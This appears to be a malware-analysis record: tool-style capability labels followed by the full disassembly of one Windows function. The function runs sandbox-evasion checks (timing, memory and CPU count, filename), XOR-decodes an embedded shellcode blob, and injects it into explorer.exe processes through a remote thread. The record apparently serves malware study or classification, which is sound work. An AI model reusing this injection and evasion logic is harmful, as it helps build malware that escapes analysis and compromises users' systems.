Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Create thread
Enumerate processes
Execute shellcode via indirect call
Get system information on windows
Hide graphical window
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x700
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x6a0], ecx
mov qword [rbp + 0x6a8], rdx
call fcn.140001ba0
mov rax, qword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
movabs rax, 0x61cc83a5c
mov qword [rbp + 0x658], rax
mov qword [rbp + 0x678], 0
mov qword [rbp + 0x670], 0
mov qword [rbp + 0x670], 0
jmp 0x140001534
add qword [rbp + 0x678], 1
add qword [rbp + 0x670], 1
mov rax, qword [rbp + 0x670]
cmp rax, qword [rbp + 0x658]
jl 0x140001524
mov rax, qword [rbp + 0x678]
cmp rax, qword [rbp + 0x658]
je 0x14000155e
mov ecx, 0
call sub.msvcrt.dll_exit
mov qword [rbp + 0x650], 0
mov rax, qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_VirtualAllocExNuma]
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
je 0x1400015e7
lea rax, str.fYKyBRTDXc
mov rcx, rax
call fcn.140001450
mov qword [rbp + 0x648], 0
mov ecx, 0xc59367f
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
cmp qword [rbp + 0x648], 0
je 0x14000160b
jmp 0x1400015f1
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x648]
mov r8d, 0xc59367f
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.DLL_GetTickCount]
call rax
mov dword [rbp + 0x644], eax
mov ecx, 0x983b
mov rax, qword [sym.imp.KERNEL32.DLL_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetTickCount]
call rax
mov dword [rbp + 0x640], eax
mov eax, dword [rbp + 0x640]
sub eax, dword [rbp + 0x644]
cmp eax, 0x983a
jg 0x140001654
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a8]
mov rax, qword [rax]
lea rdx, str.video.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x1400016b5
mov dword [rbp + 0x63c], 0
lea rax, [rbp + 0x5e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x600]
mov dword [rbp + 0x638], eax
cmp dword [rbp + 0x638], 1
jg 0x1400016c9
jmp 0x1400016bf
mov ecx, 0
call sub.msvcrt.dll_exit
mov ecx, 0
call sub.msvcrt.dll_exit
lea rax, [rbp + 0x3e0]
lea rdx, [0x14000a028]
mov ecx, 0x3f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
movabs rax, 0x8ed2a4835831e64f
movabs rdx, 0xf488f28cbccae18e
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rdx
movabs rax, 0xf825f802f58594a7
movabs rdx, 0x6d90cf8e2fc271ed
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x308], rdx
movabs rax, 0x4ac2606721a0ff70
movabs rdx, 0x29444dc78b97132e
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], rdx
movabs rax, 0x2653a96beb1f950c
movabs rdx, 0xc1ada9acceaa04be
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], rdx
movabs rax, 0x8007bc7ae7bef744
movabs rdx, 0x9ccaa8800bdf823
mov qword [rbp + 0x330], rax
mov qword [rbp + 0x338], rdx
movabs rax, 0xdba9d3d1d6e55101
movabs rdx, 0xd87110eaaf99a943
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], rdx
movabs rax, 0x4601012be267270b
movabs rdx, 0x68c08e8cd8c9f5ce
mov qword [rbp + 0x350], rax
mov qword [rbp + 0x358], rdx
movabs rax, 0xe9950a45197c8a9d
movabs rdx, 0x792a6c2b3c1eaeef
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rdx
movabs rax, 0x25a1fcc308c112af
movabs rdx, 0x5c111af9ae55a34b
mov qword [rbp + 0x370], rax
mov qword [rbp + 0x378], rdx
movabs rax, 0x52afdfed90880862
movabs rdx, 0x26e35f4648e03145
mov qword [rbp + 0x380], rax
mov qword [rbp + 0x388], rdx
movabs rax, 0x1a22364018820eac
movabs rdx, 0xf959e04262189f86
mov qword [rbp + 0x390], rax
mov qword [rbp + 0x398], rdx
movabs rax, 0xd899f9f3aeb61e79
movabs rdx, 0x713ed624ccf45427
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x3a8], rdx
movabs rax, 0x732fcf7ad291c30b
movabs rdx, 0x27244cd61d32fb44
mov qword [rbp + 0x3b0], rax
mov qword [rbp + 0x3b8], rdx
movabs rax, 0x49331bb891d80e01
movabs rdx, 0x9b81b2b8a3efdf24
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x3c8], rdx
mov byte [rbp + 0x3d0], 0
mov dword [rbp + 0x66c], 0
mov dword [rbp + 0x668], 0
jmp 0x140001958
cmp dword [rbp + 0x66c], 0xe0
jne 0x140001919
mov dword [rbp + 0x66c], 0
mov eax, dword [rbp + 0x668]
cdqe
movzx edx, byte [rbp + rax + 0x3e0]
mov eax, dword [rbp + 0x66c]
cdqe
movzx eax, byte [rbp + rax + 0x2f0]
xor edx, eax
mov eax, dword [rbp + 0x668]
cdqe
mov byte [rbp + rax + 0xf0], dl
add dword [rbp + 0x66c], 1
add dword [rbp + 0x668], 1
mov eax, dword [rbp + 0x668]
cmp eax, 0x1fe
jbe 0x140001903
mov dword [rbp - 0x40], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov qword [rbp + 0x630], rax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.KERNEL32.DLL_Process32First
cmp eax, 1
jne 0x140001ac0
jmp 0x140001aa4
lea rax, [rbp - 0x40]
add rax, 0x2c
lea rdx, str.explorer.exe
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
jne 0x140001aa4
mov eax, dword [rbp - 0x38]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.DLL_OpenProcess]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1ff
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
call rax
mov qword [rbp + 0x620], rax
lea rcx, [rbp + 0xf0]
mov rdx, qword [rbp + 0x620]
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x20], 0
mov r9d, 0x1ff
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
call rax
mov rdx, qword [rbp + 0x620]
mov rax, qword [rbp + 0x628]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x628]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.KERNEL32.DLL_Process32Next
cmp eax, 1
je 0x1400019a3
mov rax, qword [rbp + 0x630]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.DLL_CloseHandle]
call rax
mov eax, 0
add rsp, 0x700
pop rsi
pop rdi
pop rbp
ret